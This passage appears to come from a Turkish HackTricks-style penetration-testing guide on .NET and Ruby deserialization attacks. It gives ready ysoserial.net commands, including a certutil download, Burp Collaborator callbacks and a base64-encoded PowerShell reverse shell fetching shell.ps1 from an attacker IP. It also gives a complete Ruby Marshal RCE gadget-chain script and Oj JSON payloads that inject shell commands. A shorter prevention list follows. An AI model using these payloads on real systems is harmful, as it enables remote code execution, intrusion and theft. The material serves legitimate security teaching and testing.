Odak, türün kullanıcı kontrolündeki bir değişkenle belirlenmesine izin veren serileştiriciler üzerinde olmalıdır.

Siyah Kutu

Arama, sunucu tarafında deserialization yapılabilecek AAEAAAD///// veya benzeri bir Base64 kodlu dizeyi hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, TypeObject veya $type içeren JSON veya XML yapıları dahil, ancak bunlarla sınırlı değildir.

ysoserial.net

Bu durumda, deserialization istismarlarını oluşturmak için ysoserial.net aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı örneğin Visual Studio kullanarak derlemelisiniz.

ysoserial.net'in istismarını nasıl oluşturduğunu öğrenmek istiyorsanız, ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatlayıcı'nın açıklandığı bu sayfayı kontrol edebilirsiniz.

ysoserial.net'in ana seçenekleri: --gadget, --formatter, --output ve --plugin.

  • --gadget, istismar edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komutları çalıştırmak için istismar edilecek sınıf/fonksiyonu belirtin).

  • --formatter, istismarı serileştirmek için kullanılacak yöntemi belirtmek için kullanılır (payload'ı deserialization yapmak için hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir).

  • --output, istismarı ham veya base64 kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. Not: ysoserial.net, payload'ı UTF-16LE kullanarak kodlayacaktır (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham veriyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı kodlama uyumluluğu sorunları yaşayabilirsiniz (HTB JSON kutusunda payload hem UTF-16LE hem de ASCII'de çalıştı ama bu her zaman çalışacağı anlamına gelmez).

  • --plugin, ysoserial.net, belirli çerçeveler için istismarlar oluşturmak üzere eklentileri destekler, örneğin ViewState.

Daha fazla ysoserial.net parametreleri

  • --minify, daha küçük bir payload sağlayacaktır (mümkünse).

  • --raf -f Json.Net -c "anything" Bu, sağlanan bir formatlayıcı ile kullanılabilecek tüm gadget'ları gösterecektir (Json.Net bu durumda).

  • --sf xml, bir gadget'ı (-g) belirtebilir ve ysoserial.net "xml" içeren formatlayıcıları arayacaktır (büyük/küçük harf duyarsız).

ysoserial örnekleri ile istismar oluşturma:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ayrıca her bir exploitin nasıl çalıştığını daha iyi anlamaya yardımcı olan çok ilginç bir parametreye sahiptir: --test Bu parametreyi belirtirseniz ysoserial.net yerel olarak exploit denemesi yapacaktır, böylece yüklemenizin doğru bir şekilde çalışıp çalışmadığını test edebilirsiniz. Bu parametre faydalıdır çünkü kodu gözden geçirirseniz aşağıdaki gibi kod parçaları bulacaksınız ( ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Bu, istismarı test etmek için kodun serializersHelper.JsonNet_deserialize çağıracağı anlamına gelir.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the önceki kod, oluşturulan istismara karşı savunmasızdır. Yani, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır. Bu nedenle, --test parametresi, hangi kod parçalarının ysoserial.net tarafından oluşturulabilen deserialization istismarına karşı savunmasız olduğunu anlamamıza olanak tanır.

ViewState

.Net'in __ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a bakın rastgele kod çalıştırmak için. Eğer kurban makinesinde kullanılan sırları zaten biliyorsanız, kod çalıştırmayı öğrenmek için bu yazıyı okuyun.

Önleme

.Net'te deserialization ile ilişkili riskleri azaltmak için:

  • Veri akışlarının nesne türlerini tanımlamasına izin vermekten kaçının. Mümkünse DataContractSerializer veya XmlSerializer kullanın.

  • JSON.Net için TypeNameHandling'i None olarak ayarlayın: %%%TypeNameHandling = TypeNameHandling.None%%%

  • JavaScriptSerializerJavaScriptTypeResolver ile kullanmaktan kaçının.

  • Deserialized edilebilecek türleri sınırlayın, System.IO.FileInfo gibi .Net türleri ile ilişkili riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir.

  • Riskli özelliklere sahip türlerle dikkatli olun, Value özelliği ile System.ComponentModel.DataAnnotations.ValidationException gibi, istismar edilebilir.

  • Tür örneklemesini güvenli bir şekilde kontrol edin; bu, saldırganların deserialization sürecini etkilemesini önler ve bu, DataContractSerializer veya XmlSerializer'ı bile savunmasız hale getirebilir.

  • BinaryFormatter ve JSON.Net için özel bir SerializationBinder kullanarak beyaz liste kontrolleri uygulayın.

  • .Net içindeki bilinen güvensiz deserialization aletleri hakkında bilgi sahibi olun ve deserializer'ların bu türleri örneklemediğinden emin olun.

  • Potansiyel olarak riskli kodu internet erişimi olan koddan izole edin, böylece System.Windows.Data.ObjectDataProvider gibi bilinen aletleri güvensiz veri kaynaklarına maruz bırakmaktan kaçının.

Referanslar

Ruby

Ruby'de, serialization marshal kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, dump olarak bilinir ve bir nesneyi bir byte akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem load olarak adlandırılır ve bir byte akışını tekrar bir nesneye döndürmek için kullanılır; bu işleme ise deserialization denir.

Serileştirilmiş nesneleri güvence altına almak için, Ruby HMAC (Hash-Based Message Authentication Code) kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ruby 2.X genel deserialization'dan RCE alet zincirine (daha fazla bilgi için https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Diğer RCE zinciri Ruby On Rails'i istismar etmek için: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() metodu

bu güvenlik açığı raporunda açıklandığı gibi, bazı kullanıcıların temizlenmemiş girişi bir ruby nesnesinin .send() metoduna ulaşırsa, bu metod nesnenin herhangi bir diğer metodunu herhangi bir parametre ile çağırmaya izin verir.

Örneğin, eval çağırmak ve ardından ruby kodunu ikinci parametre olarak vermek, rastgele kodu çalıştırmaya olanak tanır:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Ayrıca, yalnızca .send() yönteminin bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, argüman gerektirmeyen veya argümanlarının varsayılan değerleri olan herhangi bir nesne yöntemini çağırmak mümkündür. Bunun için, bu gereksinimleri karşılayan ilginç yöntemleri bulmak üzere nesnenin tüm yöntemlerini listelemek mümkündür.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Diğer kütüphaneler

Bu teknik bu blog yazısından alınmıştır.

RCE elde etmek için kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek başka Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphanenin serileştirilmediğinde çağırdığı yöntemi göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon):

Kütüphane

Girdi verisi

Sınıf içindeki başlatma yöntemi

Marshal (Ruby)

İkili

_load

Oj

JSON

hash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)

Ox

XML

hash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)

Psych (Ruby)

YAML

hash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir) init_with

JSON (Ruby)

JSON

json_create ([json_create ile ilgili notlara bakın](#table-vulnerable-sinks) son)

Temel örnek:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Oj'yi kötüye kullanmaya çalışırken, hash fonksiyonu içinde to_s çağrısı yapan bir gadget sınıfı bulmak mümkün oldu. Bu, spec'i çağıracak ve fetch_path'ı çağıracak şekildeydi; bu da rastgele bir URL almasını sağladı ve bu tür sanitasyonsuz deserialization zafiyetlerinin harika bir dedektörünü sağladı.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}

Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu, bunun başka bir gadget'ı istismar etmek için bir gereklilik olduğu ve bunu şu şekilde tam bir RCE'ye dönüştürdüğü bulundu:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Daha fazla detay için orijinal gönderiye bakın.

HackTricks'i Destekleyin

Last updated